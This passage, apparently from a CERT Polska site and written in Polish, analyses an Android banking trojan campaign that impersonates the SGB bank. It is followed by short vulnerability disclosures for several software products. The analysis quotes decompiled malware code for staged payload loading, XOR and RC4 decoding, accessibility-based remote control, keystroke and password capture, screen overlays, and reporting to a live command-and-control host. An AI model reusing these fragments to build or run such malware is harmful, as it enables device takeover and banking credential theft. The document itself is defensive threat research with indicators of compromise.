Podczas uruchomienia moduł rejestruje urządzenie pod adresem https://jeliornic.it.com/api/v1/devices/register i otrzymuje dane dostępowe unikalne dla danego urządzenia.

Jak się chronić?

Pobieraj aplikacje bankowe jedynie z zaufanych źródeł takich jak Google Play Store lub App Store.
Jeśli otrzymujesz połączenie telefoniczne rzekomo ze swojego banku, w którym rozmówca informuje o potencjalnym zagrożeniu, rozłącz się i oddzwoń na numer znaleziony na oficjalnej stronie banku. Pozwala to uniknąć oszustw opartych na spoofingu CLI.
Traktuj wszelkie instrukcje wymagające manualnej instalacji "komponentu bezpieczeństwa" lub "komponentu uruchomienia" spoza oficjalnego sklepu jako podejrzane i potencjalnie niebezpieczne.
Jeśli aplikacja prosi o zgodę na instalację z nieznanych źródeł (Install unknown apps), a następnie o dostęp do funkcji ułatwień dostępu, traktuj to jako ostateczny sygnał ostrzegawczy.

Analiza techniczna

Każda aplikacja na Androida posiada plik manifestu: AndroidManifest.xml. W tym przypadku, już analiza tego pliku pokazuje, że zewnętrzna aplikacja korzystająca z wizerunku SGB jest zaprojektowana do współpracy z dodatkowym pakietem com.core.town i komunikacji z jego dostawcą.

Manifest i przynęty

<queries>
    <package android:name="com.core.town"/>
    <provider android:authorities="com.core.town.provider"/>
</queries>
...
<application
    android:label="@string/app_name"
    android:name="com.erupt.defense.Scementplanet">
    <receiver android:name="com.gallery.oppose.OpposeHelper$InstallResultReceiver" ... />
    <activity android:name="com.gallery.oppose.OpposeActivity" ... >

Treści wyświetlane na urządzeniu ofiary nie są przypadkowe - są zgodne z procesem asystowanej instalacji danego operatora:

<string name="app_name">Token U2F Mobilna Ochrona SGB</string>
<string name="component_required_title">Play Component Required</string>
<string name="component_install_description">The Play Component ensures secure and stable application functionality. Installation will take just a few seconds.</string>
<string name="install_button">Install Component</string>
<string name="permission_required">Installation permission required</string>
<string name="permission_granted">Permission granted! Try again</string>
<string name="component_active_title">All Systems Operational</string>

Etap 1, wczytywanie: prywatna ścieżka + DexClassLoader

Zewnętrzna klasa aplikacji inicjalizuje prywatne foldery i nazwy plików wykorzystanych podczas wykonywania programu:

public String i = "bonus";
public String j = "tell";
...
public String r = "tWyWeG.txt";
...
return context.getDir(this.j, 0);
...
return new File(str, this.r);

Dekoduje także kolejne etapy zawartości i przekazuje kontrolę do asystenta wczytywania (reflective loader helper):

byte[] bArr3 = {91, 5, 10};
...
bArr2[i9] = (byte) (bArr[i9] ^ bArr3[i9 % length2]);
...
this.s.a(str, str2, stringBuffer.toString(), context);

Mechanizm wczytywania jest podany wprost (DexClassLoader):

public DexClassLoader a(String str, String str2, String str3, Field field, WeakReference weakReference) throws NoSuchMethodException {
    Constructor constructor = DexClassLoader.class.getConstructor(String.class, String.class, String.class, ClassLoader.class);
    Object[] objArr = new Object[4];
    objArr[0] = str;
    objArr[1] = str2;
    objArr[2] = str3;
    ...
    objArr[3] = (ClassLoader) a(method, field, objArr2);
    DexClassLoader dexClassLoader = (DexClassLoader) constructor.newInstance(objArr);
    ...
    return dexClassLoader;
}

A dynamiczna analiza próbki potwierdza dokładną ścieżkę wywołania:

{
  "tag": "DYNAMIC_CODE_LOADING",
  "details": {
    "loader": "DexClassLoader",
    "dexPath": "/data/user/0/com.junk.knock/app_tell/tWyWeG.txt",
    "optimizedDir": "/data/user/0/com.junk.knock/app_tell",
    "libraryPath": ""
  }
}

Etap 2, instalacja: payload_grass.apk i śledzenie ofiary

Załadowany instalator (com.gallery.oppose) przechowuje wiele ważnych wartości w formie Base64+XOR. Po odkodowaniu ujawniają:

target package: com.core.town
setup URI: core://setup
tracking endpoint: https://jeliornic.it.com/api/v1/tracking/events
build ID: h8zskxh6kjv

Sam dekoder jest bardzo prosty:

public static final String unwrap(String s, String k) {
    ...
    byte[] bArrDecode = Base64.decode(s, 0);
    ...
    arrayList.add(Byte.valueOf((byte) (k.charAt(i2 % k.length()) ^ bArrDecode[i])));
    ...
    return new String(CollectionsKt___CollectionsKt.toByteArray(arrayList), Charsets.UTF_8);
}

Instalator weryfikuje czy funkcje ułatwień dostępu są już uruchomione:

Cursor cursorQuery = getContentResolver().query(Uri.parse("content://" + INSTANCE.getPROVIDER_AUTHORITY()), null, null, null, null);
...
boolean zAreEqual = Intrinsics.areEqual(cursorQuery.isNull(columnIndex) ? null : cursorQuery.getString(columnIndex), "enabled");

Zapisuje zagnieżdżony plik .APK i uruchamia instalację:

File file = new File(opposeActivity.getCacheDir(), "installer_" + System.currentTimeMillis() + ".apk");
InputStream inputStreamOpen = opposeActivity.getAssets().open("apk/payload_grass.apk");
...
fileOutputStream.write(bArr, 0, i);
...
opposeActivity.runOnUiThread(new w4(2, opposeActivity, file));

Po instalacji przekazuje kontrolę do kolejnego etapu za pomocą deep linku:

private final void openSetupUrl() {
    try {
        String strUnwrap = OpposeUtils.unwrap(BuildConfig.OUTSIDE_TOWARD, BuildConfig.GARMENT_RIDE);
        Intent intent = new Intent("android.intent.action.VIEW");
        intent.setData(Uri.parse(strUnwrap));
        intent.setFlags(268435456);
        startActivity(intent);

Na tym etapie również akcje użytkownika są przesyłane do serwera atakującego. Dane zawierają build ID, package name, wersję aplikacji, ID urządzenia, wersję systemu Android i model urządzenia:

private final JSONObject createEventData(String eventName) throws JSONException {
    JSONObject jSONObject = new JSONObject();
    jSONObject.put(NotificationCompat.CATEGORY_EVENT, eventName);
    jSONObject.put("build_id", OpposeUtils.unwrap(BuildConfig.VIVID_FIX, BuildConfig.GARMENT_RIDE));
    jSONObject.put("package_name", BuildConfig.APPLICATION_ID);
    jSONObject.put("app_version", BuildConfig.VERSION_NAME);
    jSONObject.put("device_id", getDeviceId());

Instalator wprost monitoruje spełnienie co najmniej poniższych warunków:

sendEvent("accessibility_enabled", ...)
sendEvent("app_first_launch", ...)
sendEvent("install_permission_granted", ...)
sendEvent("installation_success", ...)

Etap 2: com.core.town

Zagnieżdżony plik APK nie jest jedynie atrapą mającą na celu odciągnięcie uwagi. Jego manifest deklaruje implant oparty na usługach ułatwień dostępu, mechanizmy persystencji, przechwytywanie ekranu, wiadomości oparte na Firebase, a także dostawcę wykorzystywanego przez instalator.

<service
    android:name="com.core.town.service.RemoteAccessibilityService"
    android:permission="android.permission.BIND_ACCESSIBILITY_SERVICE"
    android:exported="true"
    android:foregroundServiceType="dataSync">
    <intent-filter>
        <action android:name="android.accessibilityservice.AccessibilityService"/>
    </intent-filter>
    <meta-data
        android:name="android.accessibilityservice"
        android:resource="@xml/accessibility_service_config"/>
</service>
<service
    android:name="com.core.town.service.ScreenCaptureService"
    android:foregroundServiceType="mediaProjection|dataSync"/>
...
<activity
    android:name="com.core.town.SetupActivity"
    android:exported="true"
    android:excludeFromRecents="true">
    <intent-filter>
        <action android:name="android.intent.action.VIEW"/>
        <category android:name="android.intent.category.DEFAULT"/>
        <category android:name="android.intent.category.BROWSABLE"/>
        <data
            android:scheme="core"
            android:host="setup"/>
    </intent-filter>

Profil dostępności jest celowo bardzo szeroki:

<accessibility-service xmlns:android="http://schemas.android.com/apk/res/android"
    android:description="@string/accessibility_service_description"
    android:accessibilityEventTypes="typeAllMask"
    android:accessibilityFeedbackType="feedbackGeneric"
    android:notificationTimeout="100"
    android:accessibilityFlags="flagRequestFilterKeyEvents|flagReportViewIds|flagIncludeNotImportantViews|flagDefault"
    android:canRetrieveWindowContent="true"
    android:canPerformGestures="true"/>

Poniższe ciągi jasno pokazują sposób zamaskowania drugiego etapu jako rzekomego komponentu systemowego:

<string name="accessibility_service_notification_title">System Update</string>
<string name="app_name">Android V.28.11</string>
<string name="service_notification_title">System Component</string>
<string name="setup_title">Setup Required</string>

Najważniejszym odkryciem jest to, że com.core.town sam w sobie jest kolejnym modułem ładującym. Jego klasa Application nie tylko uruchamia usługi, ale także ładuje inny ukryty plik o nazwie qkcCg.jpg.

public String f = "fade";
public String g = "easy";
...
public String o = "qkcCg.jpg";
public b p = new b();

Funkcja attachBaseContext() tworzy wewnętrzną ścieżkę dla wspomnianego pliku i wykonuje się jedynie po jego skutecznym wypakowaniu:

String strA = a(a(this.e));
...
File fileA = a(this.e, this.f);
...
String strB = b(strA);
...
boolean zD = d(strB);
...
a(strB, strA, stringBuffer, this.e);

Wypakowanie ukrytego etapu: `qkcCg.jpg`

Fragment wyciągnięty z classes7.dex wskazuje, że qkcCg.jpg nie jest plikiem graficznym w klasycznym rozumieniu. Wczytywanie korzysta z prostej warstwy dekodującej i zahardkodowanego klucza:

public String m = "sDjCM";

Zawiera także prosty dekoder na bazie XOR wykorzystywany do odzyskiwania nazw metod:

public String b(byte[] bArr) {
    ...
    byte[] bArr3 = {90};
    ...
    bArr2[i13] = (byte) (bArr[i13] ^ bArr3[i13 % length2]);
    ...
    return new String(bArr2);
}

Samo przekształcenie korzysta z this.m.getBytes() a następnie wykonuje podobną do RC4 pętlę:

Method methodA = a(String.class, b(new byte[]{61, 63, 46, 25, 54, 59, 41, 41}), (Class<?>[]) null);
...
Method methodA2 = a((Class) a(methodA, this.m, (Object[]) null), b(new byte[]{61, 63, 46, 24, 35, 46, 63, 41}), (Class<?>[]) null);
...
byte[] bArr2 = (byte[]) a(methodA2, this.m, (Object[]) null);
...
int[] iArr = new int[256];
for (i3 = 0; i3 < 256; i3++) {
    iArr[i3] = i3;
}

for (i4 = 0; i4 < 256; i4++) {
    ...
    int i35 = i33 + bArr2[i34] + 256;
    ...
    i25 = i35 % 256;
    ...
    a(i4, i25, iArr);
}
...
byte[] bArr3 = new byte[bArr.length];
for (i6 = 0; i6 < bArr.length; i6++) {
    ...
    int i75 = iArr2[(iA2 + iA3) % 256];
    ...
    int i78 = ((i75 + 1) - 1) ^ bArr[i6];
    ...
    bArr3[i6] = (byte) i78;
}
return bArr3;

Analiza offline potwierdziła, że zastosowanie RC4 z kluczem sDjCM do pierwotnej wersji pliku qkcCg.jpg skutkuje uzyskaniem archwium ZIP zawierającego finalną wersję classes.dex.

Cechy szkodliwego oprogramowania

Ostatni etap po wypakowaniu odpowiada za właściwą część zachowania opisywanego modułu. On również wykorzystuje paczkę com.core.town, ale nie służy już tylko do setupu.

Accessibility-based remote control

Ostateczna wersja RemoteAccessibilityService wykonuje otrzymywane wiadomości z instrukcjami przekładając je na wstrzyknięcie gestów i w efekcie akcje globalne:

if (action.equals("com.core.town.CONTROL_MESSAGE")) {
    ...
    if (diVar != null) {
        RemoteAccessibilityService.access$handleControlMessage(remoteAccessibilityService, diVar);
    }
}

Wstrzyknięcie poleceń dotykowych następuje za pomocą dispatchGesture():

if (!remoteAccessibilityService.dispatchGesture(new GestureDescription.Builder().addStroke(new GestureDescription.StrokeDescription(path, 0L, j)).build(), new kc0(0), null)) {
    Log.e("HedgehogUtils", "dispatchGesture() returned FALSE!");
}

Akcje globalne również widać tutaj:

if (diVar instanceof dh) {
    remoteAccessibilityService.performGlobalAction(1);
    return;
}
if (diVar instanceof ih) {
    remoteAccessibilityService.performGlobalAction(2);
    return;
}
if (diVar instanceof rh) {
    remoteAccessibilityService.performGlobalAction(3);
    return;
}

Binarny dekoder wiadomości przychodzących po protokole Websocket potwierdza, że są to akcje uruchamiane zdalnie przez operatora oprogramowania:

if (b == 4) {
    mhVar = dh.c;
} else if (b == 5) {
    mhVar = ih.c;
} else if (b == 6) {
    mhVar = rh.c;
} else if (b == 7) {
    mhVar = ph.c;
}

Przechwytywanie tekstu i wejścia klawiatury

Moduł przechwytuje zmiany tekstu z edytowalnych pól i zapisuje zarówno pierwotne, jak i zedytowane wartości:

t80VarArr[0] = new t80("before_text", str);
t80VarArr[1] = new t80("added_count", Integer.valueOf(length));
t80VarArr[2] = new t80("removed_count", Integer.valueOf(length2));
t80VarArr[3] = new t80("text_length", Integer.valueOf(str2.length()));
t80VarArr[4] = new t80("input_type", str3);
gpVar.c("TEXT_CHANGED", string, string2, str4, onVar, f7.A1(t80VarArr));

Każde zdarzenie jest dodawane także do kanału event/log:

t80VarArr2[0] = new t80("package", string);
t80VarArr2[1] = new t80("class", str4);
t80VarArr2[2] = new t80("before_text", str);
t80VarArr2[3] = new t80("text", str2);
t80VarArr2[4] = new t80("is_password", Boolean.valueOf(accessibilityNodeInfo.isPassword()));
t80VarArr2[5] = new t80("input_type", str3);
o("TEXT_CHANGED", f7.A1(t80VarArr2));

Przechwytywany jest także bzepośrednio TYPE_VIEW_TEXT_CHANGED:

gpVar6.c("TEXT_CHANGED", string2, string3, str8, new on(str8, strH13, contentDescription5 != null ? contentDescription5.toString() : null, accessibilityEvent.isPassword()), f7.A1(new t80("before_text", strH1), new t80("added_count", Integer.valueOf(accessibilityEvent.getAddedCount())), new t80("removed_count", Integer.valueOf(accessibilityEvent.getRemovedCount())), new t80("from_index", Integer.valueOf(accessibilityEvent.getFromIndex())), new t80("text_length", Integer.valueOf(strH13.length()))));

Przechwytywanie interfejsu użytkownika

Usługa tworzy pełną reprezentację wyświetlanego ekranu w pliku JSON, zawierającą tekst, opis zawartości, identyfikatory widoków, granice na ekranie, role oraz elementy podrzędne:

jSONObject.put("className", string);
...
jSONObject.put("text", string3);
...
jSONObject.put("contentDescription", string4);
...
jSONObject.put("viewIdResourceName", viewIdResourceName);
...
jSONObject.put("bounds", jSONObject2);
...
jSONObject.put("role", f(accessibilityNodeInfo));

Wyeksportowana metoda zwraca zserializowane drzewo wraz z wymiarami ekranu:

public final String captureUITree() throws JSONException {
    AccessibilityNodeInfo rootInActiveWindow = getRootInActiveWindow();
    ...
    JSONObject jSONObjectC = c(rootInActiveWindow, 0);
    ...
    jSONObject.put("timestamp", System.currentTimeMillis());
    jSONObject.put("screenWidth", this.c);
    jSONObject.put("screenHeight", this.d);
    jSONObject.put("root", jSONObjectC);
    return jSONObject.toString();
}

Nakładki i wstrzyknięcia zawartości sieciowej

Operator może wyświetlać poprzez moduł adresy URL, zawartość HTML, wygasić ekran lub nałożyć nakładkę:

if (lowerCase.equals(ImagesContract.URL)) {
    ...
    j80Var4.k(str2);
}
...
if (lowerCase.equals("html")) {
    ...
    j80Var5.g(str2);
}
...
if (lowerCase.equals("black") && (j80Var = remoteAccessibilityService.overlayManager) != null && j80Var.b(3, false)) {
    ...
}
...
if (lowerCase.equals("loading") && (j80Var2 = remoteAccessibilityService.overlayManager) != null) {
    j80Var2.h();
}

Zestaw instrukcji FCM wprost wspiera klikalne nakładki i aktualizacje ich zadań:

if (string2.equals("show_clickable_overlay")) {
    ...
    l(jSONObjectOptJSONObject);

public static void l(JSONObject jSONObject) throws Exception {
    ...
    String strOptString = jSONObject.optString(ImagesContract.URL, "");
    ...
    new Handler(Looper.getMainLooper()).post(new nq(remoteAccessibilityService, strOptString, dc0Var, countDownLatch, 0));

if (string2.equals("update_overlay_tasks")) {
    ...
    fcmMessageService5.o(jSONObjectOptJSONObject);

arrayList.add(new k80(jSONObject2.getString("task_id"), jSONObject2.getString("package"), jSONObject2.getString(ImagesContract.URL)));
l80VarE.e(arrayList);

Ścieżka nakładek pozwala też na wstrzyknięcie spersonalizowanego JavaScript do zawartości WebView w celu zachowania widoczności pól wprowadzania danych przy otwartej klawiaturze - zachowanie charakterystyczne dla nakładek służacych do przechwytywania danych logowania.

Strumieniowanie ekranu i sesje WebSocket

Moduł może także poprosić o dostęp do MediaProjection i uruchomić usługę przechwytywania ekranu działającą na pierwszym planie:

startActivityForResult(((MediaProjectionManager) getSystemService("media_projection")).createScreenCaptureIntent(), 2001);

FCM wspiera też sesje websocketowe:

if (string2.equals("enable_ws")) {
    ...
    fcmMessageService5.e(jSONObjectOptJSONObject);

Metoda przyjmuje adres websocketu i klucz do API:

String strOptString = jSONObject.optString("session_id");
int iOptInt = jSONObject.optInt("duration_sec", 3600);
boolean zOptBoolean = jSONObject.optBoolean("video_required", false);
String strOptString2 = jSONObject.optString("ws_url");
String strOptString3 = jSONObject.optString("ws_api_key", "");
...
intent.putExtra("ws_url", strOptString2);
if (strOptString3.length() > 0) {
    intent.putExtra("ws_api_key", strOptString3);
}

Klient websocketowy jest zbudowany na bazie OkHttp i dodaje X-API-Key gdy jest aktywny:

OkHttpClient.Builder timeout = new OkHttpClient.Builder().readTimeout(0L, TimeUnit.MILLISECONDS);
...
Request.Builder builderUrl = new Request.Builder().url(str);
...
if (str3 != null) {
    builderUrl.addHeader("X-API-Key", str3);
}
this.g = this.f.newWebSocket(requestBuild, new af0(this.n, this));

Ze źródeł można także odczytać protokół kontrolny, poniżej przykłady:

1 -> touch/gesture events
2 -> key events
3 -> swipe vector
15 -> overlay mode (black, html, url, loading)
18 -> clipboard injection
22 -> open a settings page
23 -> launch another application
24 -> end session

Fragment wspomnianego dekodera:

} else if (b == 15) {
    if (byteBuffer.remaining() >= 5) {
        byte b4 = byteBuffer.get();
        int i9 = byteBuffer.getInt();
        if (b4 == 0) {
            str = "black";
        } else if (b4 == 1) {
            str = "html";
        } else if (b4 == 2) {
            str = ImagesContract.URL;
        } else if (b4 == 3) {
            str = "loading";
        }
        ...
        mhVar = new xh(str, str2);
    }
} else if (b == 18) {
    ...
    mhVar = new wh(new String(bArr3, qc.a), z);
} else if (b == 22) {
    ...
    mhVar = new nh(new String(bArr4, qc.a));
} else if (b == 23) {
    ...
    mhVar = new mh(new String(bArr5, qc.a));
}

Dodatkowe funkcje pomocnicze

Ostatni etap zawiera także następujące funkcje:

upload_apps
request_permissions
start_polling
stop_polling
start_heartbeat
stop_heartbeat
show_settings
wake_with_activity
show_notification
configure_logging

Poszczególne komendy są widoczne także w switchu odpowiadającym za obsługę komunikatów FCM (Firebase Cloud Messaging):

if (string2.equals("upload_apps")) {
...
if (string2.equals("request_permissions")) {
...
if (string2.equals("start_polling")) {
...
if (string2.equals("start_heartbeat")) {
...
if (string2.equals("show_settings")) {
...
if (string2.equals("configure_logging")) {

Rejestracja urządzenia podczas wykonania programu

Analiza dynamiczna potwierdza wnioski ze statycznej:

Zaobserwowany ruch do serwera:

https://jeliornic.it.com/api/v1/tracking/events
https://jeliornic.it.com/api/v1/devices/register
https://jeliornic.it.com/api/v1/devices/device_bf43438cc5236391/events/batch

Zaobserwowane wartości rejestracji urządzenia:

device_id = device_bf43438cc5236391
api_key = ak_c5JNf4OUUSGytz0DpmR9fGbxtjtSR0BCoDtrPj7CS8Y
adres IP backendu zaobserwowany w trakcie sesji: 104.21.59.199

Zaobserwowane nagłówki uwierzytelniające:

X-API-Key: ak_c5JNf4OUUSGytz0DpmR9fGbxtjtSR0BCoDtrPj7CS8Y
X-Device-ID: device_bf43438cc5236391

Bazowy (statyczny) URL serwera jest zagnieżdżony bezpośrednio w ostatnim etapie kodu. Moduł odczytuje stałą z adresem przy pomocy dekodera opartego na XOR i klucza zext0sup3bei25jm:

public abstract class ya {
    public static final String a = "zext0sup3bei25jm";
}

a = cw.a("EhEMBENJWl9ZBwkAXUcEBBlLEQAeEBod");

Zdekodowana wartość:

https://jeliornic.it.com

Proces rejestracji urządzenia jest wskazany wprost w źródłach:

String string = Settings.Secure.getString(l9Var.a.getContentResolver(), "android_id");
...
String strConcat = "device_".concat(string);
...
Task<String> token = FirebaseMessaging.getInstance().getToken();

jSONObject.put("device_id", str);
jSONObject.put("fcm_token", str3);
jSONObject.put("build_id", str2);
jSONObject.put("device_info", new JSONObject(mapB));
jSONObject.put("optimization_stats", new JSONObject(mapC));
jSONObjectH = l9Var.h("POST", "/api/v1/devices/register", jSONObject, false);

Po rejestracji dane dostępowe do serwera są przechowywane lokalnie:

sharedPreferences.edit().putString("device_id", jSONObjectH.getString("device_id")).apply();
sharedPreferences.edit().putString("api_key", jSONObjectH.getString("api_key")).apply();
sharedPreferences.edit().putLong("polling_interval_ms", jSONObjectH.optLong("polling_interval_ms", 300000L)).apply();

Do uwierzytelniania w komunikacji HTTP wykorzystano zarówno nagłówek X-API-Key jak i X-Device-ID:

httpURLConnection = (HttpURLConnection) new URL(g + str2).openConnection();
httpURLConnection.setRequestMethod(str);
httpURLConnection.setRequestProperty("Content-Type", "application/json");
httpURLConnection.setRequestProperty("Accept", "application/json");
...
httpURLConnection.setRequestProperty("X-API-Key", string);
httpURLConnection.setRequestProperty("X-Device-ID", strG);

Ten sam klient HTTP jest używany do odpytywania o polecenia, heartbeatów i wsadowego wysyłania zdarzeń:

JSONObject jSONObjectH = l9Var.h("GET", "/api/v1/devices/" + strG + "/commands?status=pending&limit=10", null, true);

l9Var.h("POST", "/api/v1/devices/" + strG + "/heartbeat", jSONObject, true)

if (l9Var.h("POST", "/api/v1/devices/" + strG + "/events/batch", jSONObject3, true) != null) {
    return Boolean.TRUE;
}

Podsumowanie

Analizowaną próbkę można opisać jako wielomodułowe narzędzie do zdalnego sterowania zainfekowanym urządzeniem i nie jest to typowa fałszywa aplikacja banku. Przynęta w postaci wykorzystania wizerunku SGB, instalator, widoczna paczka Android V.28.11 i ukryty plik qkcCg.jpg są częścią ekosystemu, który umożliwia adwersarzowi pełny dostęp do urządzenia.

Inne próbki analizowane przez CERT Polska w podobnych kampaniach wykorzystują ten sam schemat: przynęta z logotypem banku, instalator, przekazanie sterowania do com.core.town, rejestracja urządzenia pod jeliornic.it.com i wykorzystanie mechanizmu ułatwień dostępu do zwiększenia możliwości aplikacji. Wariant z wizerunkiem banku SGB stanowi zatem kolejną odsłonę kampanii FvncBot.

Wskaźniki infekcji (IoC)

Identyfikatory plików i etapów

nazwa zewnętrznej próbki: sgb.apk
SHA-256 zewnętrznej próbki: 96b47838ba48b881f4b8e007c5b8c2963db516556865695848ee252571fe5893
zewnętrzna paczka: com.junk.knock
ścieżka loadera w czasie wykonania: /data/user/0/com.junk.knock/app_tell/tWyWeG.txt
SHA-256 instalatora w czasie wykonania: 91a22dcd68500e33ee0aa45d40dc00df58bc1d8e3559a273ff1ab8c3d2d94486
dołączona wewnętrzna nazwa apk: payload_grass.apk
SHA-256 dołączonego apk: b4708b853ff64530776e8179a748b7e9469eb88491bceaffe3bf16cfe366d75a
wewnętrzna nazwa paczki: com.core.town
ukryty zasób: qkcCg.jpg
SHA-256 ukrytego zasobu: 3d980d21f116bd499bdd0b52b570cbb4ddcbf47aa2dd96b5aae43dbce51f6249
klucz do odszyfrowania ukrytego zasobu: sDjCM
SHA-256 końcowo wyodrębnionego pliku DEX: 56c28cda7650e6d9287b8c260594bc759f9f7b47cf74b27ad914de0a57b315c6

Infrastruktura sieciowa

bazowy URL backendu: https://jeliornic.it.com
endpoint służący do śledzenia: https://jeliornic.it.com/api/v1/tracking/events
endpoint służący do rejestracji: https://jeliornic.it.com/api/v1/devices/register
wzorzec endpointu pobierania poleceń: /api/v1/devices/<device_id>/commands?status=pending&limit=10
endpoint do wysyłki paczek zdarzeń: /api/v1/devices/<device_id>/events/batch
endpoint heartbeat (utrzymania połączenia): /api/v1/devices/<device_id>/heartbeat
wzorzec endpointu sprawdzania statusu polecenia: /api/v1/commands/<command_id>/status
adres IP backendu zaobserwowany podczas analizy dynamicznej: 104.21.59.199

Podatność w oprogramowaniu Robolinho Update Software

2026-03-30T09:55:00+01:00

Opis podatności

CERT Polska otrzymał zgłoszenie o podatności w oprogramowaniu AL-KO Robolinho Update Software i koordynował proces ujawniania informacji.

Podatność CVE-2026-1612: AL-KO Robolinho Update Software zawiera zakodowane na stałe klucze dostępu AWS (Access i Secret), które umożliwiają każdemu dostęp do bucketu AWS należącego do AL-KO. Użycie tych kluczy bezpośrednio może potencjalnie zapewnić atakującemu większe uprawnienia niż sama aplikacja. Klucze te zapewniają CO NAJMNIEJ dostęp odczytu do części obiektów w bucketcie.

Dostawca został poinformowany o tej podatności, jednak nie udzielił odpowiedzi. Jedynie wersja 8.0.21.0610 została przetestowana i potwierdzona jako podatna - inne wersje nie były testowane i również mogą być podatne.

Podziękowania

Za zgłoszenie podatności dziękujemy Piotrowi Ptaszkowi.

Podatności w oprogramowaniu Bludit

2026-03-27T11:55:00+01:00

Opis podatności

CERT Polska otrzymał zgłoszenie o podatnościach w oprogramowaniu Bludit i koordynował proces ujawniania informacji.

Podatność CVE-2026-25099: Wtyczka API w Bludit umożliwia uwierzytelnionemu atakującemu z ważnym tokenem API przesyłanie plików dowolnego typu i z dowolnym rozszerzeniem bez jakichkolwiek ograniczeń. Przesłane pliki mogą następnie zostać wykonane, co prowadzi do zdalnego wykonania kodu.

Problem został naprawiony w wersji 3.18.4.

Podatność CVE-2026-25100: Bludit jest podatny na ataki typu Stored XSS w funkcjonalności przesyłania obrazów. Uwierzytelniony atakujący z uprawnieniami do przesyłania treści (takimi jak Autor, Edytor lub Administrator) może przesłać plik SVG zawierający złośliwy kod JS, który zostaje wykonany, gdy ofiara odwiedzi adres URL przesłanego pliku. Plik ten jest dostępny bez konieczności uwierzytelniania.

Producent został poinformowany o tej podatności, jednak przerwał współpracę w trakcie procesu koordynacji. Wszystkie wersje do 3.18.2 włącznie są uznane za podatne, przyszłe wersje mogą również być podatne.

Podatność CVE-2026-25101: Bludit pozwala na ustawienie identyfikatora sesji użytkownika przed uwierzytelnieniem. Wartość tego identyfikatora pozostaje taka sama po zalogowaniu. Takie zachowanie umożliwia atakującemu ustalenie identyfikatora sesji dla ofiary, a następnie przejęcie jej uwierzytelnionej sesji.

Problem został naprawiony w wersji 3.17.2.

Podziękowania

Za zgłoszenie podatności dziękujemy Arkadiuszowi Marcie.

Podatność w oprogramowaniu KlinikaXP i KlinikaXP Insertino

2026-03-23T11:55:00+01:00

Opis podatności

KlinikaXP to oprogramowanie dla lecznic weterynaryjnych do zarządzania wizytami, dokumentacją i finansami. KlinikaXP Insertino to osobna aplikacja instalowana na tabletach lub laptopach, która łączy się z głównym systemem i umożliwia klientom wprowadzanie danych.

CERT Polska otrzymał zgłoszenie o podatności w oprogramowaniu KlinikaXP i KlinikaXP Insertino i koordynował proces ujawniania informacji.

Podatność CVE-2026-1958: Użycie zakodowanych na stałe poświadczeń w Klinika XP i KlinikaXP Insertino umożliwiało nieautoryzowanemu atakującemu dostęp do kilku usług wewnętrznych. Krytycznie, obejmowało to dostęp do serwera FTP, na którym hostowane były pakiety aktualizacyjne aplikacji. Atakujący z tymi poświadczeniami mógł przesłać złośliwy plik aktualizacyjny, który następnie mógł zostać rozprowadzony i zainstalowany na maszynach klientów jako zaufana aktualizacja.

Podatność ta dotyczy KlinikaXP przed wersją 5.39.01.01 oraz KlinikaXP Insertino przed 3.1.0.1

Oprócz usunięcia na stałe zakodowanych poświadczeń z kodu, zmieniono również dane dostępowe do wcześniej narażonych usług, co uniemożliwiło dalsze próby ataku z wykorzystaniem tej podatności.

Podziękowania

Za zgłoszenie podatności dziękujemy Wojciechowi Giełdzie.

Podatność w oprogramowaniu Befree SDK

2026-03-18T11:55:00+01:00

Opis podatności

CERT Polska otrzymał zgłoszenie o podatności w oprogramowaniu Bee Content Design Befree SDK i koordynował proces ujawniania informacji.

Podatność CVE-2025-12518: beefree.io SDK jest podatne na ataki typu Stored XSS w parametrze odpowiedzialnym za odnośnik ikony mediów społecznościowych w funkcjonalności kreatora e‑maili. Atakujący może wstrzyknąć dowolny kod HTML i JavaScript do szablonu, który zostanie wyrenderowany/wykonany podczas odwiedzania strony podglądu. Ze względu na Content Security Policy stosowane przez beefree, nie wszystkie payloady wykonają się pomyślnie.

Ta podatność została usunięta w wersji 3.47.0.

Podziękowania

Za zgłoszenie podatności dziękujemy Michałowi Błaszczakowi.

Podatności w oprogramowaniu Raytha

2026-03-16T13:55:00+01:00

Opis podatności

CERT Polska otrzymał zgłoszenie o podatnościach w oprogramowaniu Raytha i koordynował proces ujawniania informacji.

Podatność CVE-2025-15540: Moduł "Functions" w Raytha CMS umożliwia uprzywilejowanym użytkownikom pisanie niestandardowego kodu w celu dodania funkcjonalności do aplikacji. Ze względu na brak izolacji lub ograniczeń dostępu, kod JavaScript wykonywany za pomocą funkcjonalności "functions" może tworzyć elementy środowiska .NET i wykonywać dowolne operacje w środowisku hostującym aplikację.

Podatność CVE-2025-69236: Oprogramowanie Raytha CMS jest podatne na atak typu Stored XSS w parametrze FieldValues[1].Value w funkcjonalności edycji postów. Umożliwia to uwierzytelnionemu atakującemu z uprawnieniami do edycji postów umieszczenie dowolnego kodu HTML i JS na stronę, który będzie wykonany podczas odwiedzania zedytowanej strony.

Podatność CVE-2025-69237: Oprogramowanie Raytha CMS jest podatne na atak typu Stored XSS w parametrze FieldValues[0].Value w funkcjonalności tworzenia stron. Uwierzytelniony atakujący z uprawnieniami do tworzenia treści może umieścić dowolny kod HTML i JS na stronie, który będzie wykonany podczas odwiedzania zedytowanej strony.

Podatność CVE-2025-69238: Oprogramowanie Raytha CMS jest podatne na atak typu Cross-Site Request Forgery w wielu miejscach w produkcie. Atakujący może stworzyć specjalną stronę, która, po odwiedzeniu przez uwierzytelnioną ofiarę, automatycznie wyśle żądanie POST do endpointu (np. usunięcie danych) bez wymuszania weryfikacji tokenu.

Podatność CVE-2025-69239: Oprogramowanie Raytha CMS jest podatne na atak typu Server-Side Request Forgery w funkcji „Themes - Import from URL”. Umożliwia to atakującemu z wysokimi uprawnieniami podanie adresu URL, na który zostanie przekierowane serwerowe żądanie HTTP.

Podatność CVE-2025-69240: W Raytha CMS istnieje możliwość podszycia się pod nagłówki X-Forwarded-Host lub Host wskazując na domenę kontrolowaną przez atakującego. Atakujący (który zna adres e-mail ofiary) może zmusić serwer do wysłania wiadomości e-mail z linkiem do resetowania hasła wskazującym na domenę ze zmienionego nagłówka. Gdy ofiara kliknie link, przeglądarka wyśle żądanie do domeny atakującego z tokenem w ścieżce, co umożliwia atakującemu przechwycenie tokenu. To pozwala atakującemu zresetować hasło ofiary i przejąć kontrolę nad jej kontem.

